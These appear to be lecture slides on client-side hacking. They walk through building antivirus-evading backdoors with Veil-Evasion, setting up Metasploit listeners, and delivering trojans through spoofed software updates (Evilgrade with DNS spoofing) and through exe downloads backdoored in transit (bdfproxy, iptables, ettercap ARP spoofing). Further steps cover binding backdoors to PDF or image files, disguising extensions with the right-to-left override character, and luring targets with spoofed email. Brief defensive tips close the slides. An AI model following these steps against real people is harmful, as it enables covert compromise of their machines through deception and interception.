2 Client Side Attacks

- Use if server side attacks fail.
- If IP is probably useless
- Require user interaction.
- Social engineering can be very useful.
- Information gathering is vital.

Client Side Attacks

Generating an undetectable backdoor using

Veil-Evasion

1. Install veil-evasion
2. Run veil-evasion
3. Select a backdoor/payload
4. Set options
5. Generate backdoor

```
> apt-get install veil-evasion
> veil-evasion
> use [payload number]
> set [option] [value]
> generate
```

2 Client Side Attacks

Listening for connections

1. Run metasploit
2. Use handler module.
3. Set payload
4. Set ip
5. Set port
6. exploit

```
> apt-get install veil-evasion
> use exploit/multi/handler
> set PAYLOAD [veil payload]
> set LHOST [your ip]
> set LPORT [veil port]
> exploit
```

Client Side Attacks

Backdoor delivery method 1 – Spoofing Software Updates

- Fake an update for an already installed program.
- Install backdoor instead of the update.
- Requires DNS spoofing + Evilgrade (a server to serve the update).

Step	Command
1. Download and install Evilgrade using the instructions in the resources.	
2. Start Evilgrade.	> ./configure
3. Check programs that can be hijacked.	> show modules
4. Select one	> configure [module]
5. Set backdoor location	> set agent [agent location]
6. Start server	> start
7. Start dns spoofing and handler.	

Client Side Attacks

Backdoor delivery method 2 – backdooring exe downloads

- Backdoor any exe the target downloads.
- We need to be in the middle of the connection.

1. Set IP address in config. > leafpad /etc/bdfproxy/bdfproxy.cfg
2. Start bdfproxy. > bdfproxy
3. Redirect traffic to bdfoxy.
   > iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080
4. Start listening for connections
   > msfconsole -r /usr/share/bdfproxy/bdf_proxy_msf_resource.rc
5. Start arp spoofing.
   > ettercap -Tq -M arp:remote -i [interface] /[Gatewaay IP]// /Target IP//
6. When done reset ip tables rules. > ./flushiptables.sh

2 Client Side Attacks

Maltego

Maltego is an information gathering tool that can be used to collect information about ANYTHING.

To run maltego type the following in terminal

```
> maltego
```

Client Side Attacks

Backdooring exe's

Step	Command
1. Run veil-evasion	> veil-evasion
2. Select a generic/backdoor_factory	> use [payload number]
3. Set options	> set [option] [value]
4. Set original exe	> set ORIGINAL_EXE [full path]
5. Generate backdoor	> generate

Run hander

Step	Command
1. Run metasploit	> msfconsole
2. Use handler module.	> use exploit/multi/handler
3. Set payload	> set PAYLOAD [veil payload]
4. Set ip	> set LHOST [your ip]
5. Set port	> set LPORT [veil port]
6. exploit	> exploit

2 Client Side Attacks

Protecting against smart delivery methods

- Ensure you're not being MITM'ed → use trusted networks, xarp.
- Only download from HTTPS pages.
- Check file MD5 after download.
  > http://www.winmd5.com/

2 Client Side Attacks

Backdooring ANY file

- Combine backdoor with **any** file – Generic solution.
- Users are more likely to run a pdf, image or audio file than an executable.
- Works well with social engineering.

The idea is to convert the original (pdf, jpg, mp3) file to an exe, then combine it with a backdoor using veil-evasion.

1. Download Autoit from https://www.autoitscript.com/site/autoit/downloads/
2. Install it. > wine [downloaded file]
3. Download the run script from resources.
4. Place original file in the same directory as the script.
5. Set original file name in the script.
6. Generate exe using Autoit script to exe converter.

2 Client Side Attacks

Spoofing backdoor extension

- Change extension of the trojan from exe to a suitable one.
- Make the trojan even more trustable.

We will use an old trick using the "right to left overload" character.

1. Open up the character map.
2. Go to find.
3. Search for U+202E
4. Copy character.
5. Rename trojan and in the following format -> trojan[RTLO]fdp.exe

Where TRLO is the copied character and "fdp" is the reverse of the extension that you want to use.

Client Side Attacks

Trojan delivery method - using email spoofing

- Use gathered info to contact target.
- Send an email pretending to be a friend.
- Ask them to open a link, download a program ...etc.

2 Client Side Attacks

Analysing trojans

- Check properties of the file.
- Is it what it seems to be?
- Run the file in a virtual machine and check resources.
- Use an online Sandbox service.
  > https://www.hybrid-analysis.com/